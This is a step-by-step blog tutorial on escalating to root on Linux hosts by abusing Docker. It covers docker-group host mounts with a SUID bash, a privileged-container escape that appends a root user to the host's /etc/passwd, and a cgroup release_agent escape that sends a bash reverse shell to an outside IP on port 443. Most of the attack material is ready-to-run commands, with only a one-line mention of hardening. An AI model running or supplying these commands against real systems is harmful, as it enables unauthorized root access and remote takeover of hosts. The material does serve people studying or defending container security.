How to Exploit Docker for Linux Privilege Escalation – A Step‑by‑Step Guide
This article walks through Docker privilege escalation techniques on Linux, covering Docker basics, permission discovery, manual and automated enumeration with LinPEAS, and three practical breakout scenarios—including abusing Docker group rights, escaping privileged containers, and breaking out of non‑privileged containers using SUID binaries and release_agent attacks.
0. Introduction
We explore how to gain root privileges on a target Linux host by abusing Docker containers, reviewing three distinct breakout scenarios that each lead to a host‑level root shell.
1. What is Docker?
Docker is an open platform that packages applications into lightweight, isolated containers. Containers run with a client‑server architecture where the Docker daemon (dockerd) performs heavy lifting, typically as root.
Containers are lightweight and contain everything needed to run an application.
Key points for attackers:
Containers usually run as root.
The Docker daemon runs as root.
The
--privilegedflag gives a container almost all host capabilities.
Members of the docker group effectively have root access to the Docker service.
2. Finding Docker Permissions
Assume we have a foothold as a regular user
dawkeron the target host.
2.1 Upgrade Shell to a Full TTY
<code>python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL+Z
stty raw -
echo
fg
export TERM=xterm</code>A full TTY enables command history, tab completion, and terminal clearing.
2.2 Enumerate Users in the Docker Group
<code>whoami; id</code>Output shows the current user belongs to the docker group.
<code>for user in $(cat /etc/passwd | awk -F: '{print $1}'); do echo "$user"; id "$user"; done | grep -B 1 "docker"</code>This reveals other users (e.g.,
devops) also in the Docker group.
2.3 Enumerate Docker Service
<code>find / -name docker.sock 2>/dev/null</code> <code>ls -l /run/docker.sock</code>The socket is writable by the Docker group, allowing interaction with the Docker daemon.
<code>ps -ef | grep -i "docker"</code>The daemon runs as root, confirming that Docker commands can affect the host with root privileges.
2.4 Enumerate Docker Images and Default Users
<code>docker images</code>We see an
alpineimage available.
<code>docker run --rm -it alpine sh -c "whoami"</code>The container runs as root by default.
2.5 Automated Enumeration with LinPEAS
Running LinPEAS on the host shows the current user is in the Docker group, the Docker daemon is owned by root, and the Docker socket is writable.
3. Scenario 1 – Abuse Docker Group Permissions
Since the user is in the Docker group, we can leverage
docker runto mount the host filesystem and obtain a root shell.
<code>docker run -v /:/mnt --rm -it alpine chroot /mnt sh</code>After mounting, we can see the host’s directory structure.
<code>cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p</code>Creating a SUID bash binary on the host allows us to spawn a privileged root shell.
4. Scenario 2 – Break Out of a Privileged Container
First confirm we are inside a container:
<code>ls -la /</code> <code>cat /proc/1/cgroup</code>Check for the
--privilegedflag by inspecting device listings and seccomp status:
<code>fdisk -l | grep -A 10 "device"
cat /proc/1/status | grep -i "seccomp"</code>In a privileged container, we can mount the host filesystem directly:
<code>df -h
mkdir -p /mnt/juggernaut
mount /dev/sda5 /mnt/juggernaut</code>After mounting, we add a new root user by editing
/etc/passwdon the host:
<code>openssl passwd -1 -salt r00t password123
echo 'r00t:$1$r00t$HZoYdo0F7UZbuKrEXMcah0:0:0:/dev/shm/pwnt:/bin/bash' >> /mnt/juggernaut/etc/passwd</code>Then SSH into the host as the newly created root user.
<code>ssh [email protected]</code>5. Scenario 3 – Escape a Non‑Privileged Container
Confirm the container is non‑privileged (no device access, seccomp values 2 and 1, minimal
/deventries).
Check for useful capabilities:
<code>capsh --print</code>We find CAP_SYS_ADMIN enabled and AppArmor not loaded, satisfying conditions for the “release_agent breakout 2” exploit.
<code>mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/breakout" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /breakout
echo 'bash -i >& /dev/tcp/172.16.1.30/443 0>&1' >> /breakout
chmod a+x /breakout
nc -nvlp 443
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
</code>Executing the payload triggers the release_agent, delivering a reverse shell to the attacker.
Conclusion
By enumerating Docker permissions, leveraging group membership, and exploiting container capabilities, attackers can achieve host‑level root access through multiple vectors, highlighting the critical need for strict Docker daemon hardening and proper capability management.
Raymond Ops
Linux ops automation, cloud-native, Kubernetes, SRE, DevOps, Python, Golang and related tech discussions.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.